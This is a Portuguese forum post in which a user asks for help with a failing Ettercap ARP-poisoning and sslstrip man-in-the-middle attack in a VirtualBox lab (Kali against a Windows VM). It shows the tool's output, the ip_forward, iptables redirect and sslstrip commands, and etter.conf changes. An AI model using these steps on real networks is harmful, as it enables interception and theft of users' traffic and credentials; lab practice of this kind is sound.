fernandowx
(usa CentOS)
Enviado em 20/10/2016 - 00:05h
Boa Noite.
Estou realizando testes utilizando a ferramenta Ettercap e ela está conseguindo capiturar nada, apresentando o seguinte erro ao ser executada em modo gráfico:
Listening on:
eth0 -> 08:00:23:41:4B:A6
192.168.0.42/255.255.255.0
Privileges dropped to EUID 0 EGID 0...
33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
7 hosts added to the hosts list...
Host 192.168.0.1 added to TARGET1
Host 192.168.0.10 added to TARGET2
ARP poisoning victims:
GROUP 1 : 192.168.0.1 32:BD:FB:B7:6E:12
GROUP 2 : 192.168.0.10 3B:37:E7:A1:FE:6B
Unified sniffing already started...
SEND L3 ERROR: 1466 byte packet (0800:11) destined to 46.16.18.116 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (A rede está fora de alcance)
)
SEND L3 ERROR: 1466 byte packet (0800:11) destined to 46.16.18.116 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (A rede está fora de alcance)
.................
Já realizei os seguintes procedimentos:
>>> Habilitar o redirecionamento de pacotes:
echo 1 >> /proc/sys/net/ipv4/ip_forward
>>> Redirecionar a porta 80 http para a porta 10000 do sslstrip:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
>>> Deixa o sslstrip lendo a porta 10000
sslstrip -l 10000
Alterei o etter.conf:
[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
O meu habiente é:
Um sistema windows + kalilunux virtualizado com vitualbox.
Estou simulando o ataque da máquina virtual kali, usando como vitima o windows.
Alguém pode me ajudar a corrigir essa falha? Existe mais algum procedimento que posso fazer além desses que citei antes?
Obrigado.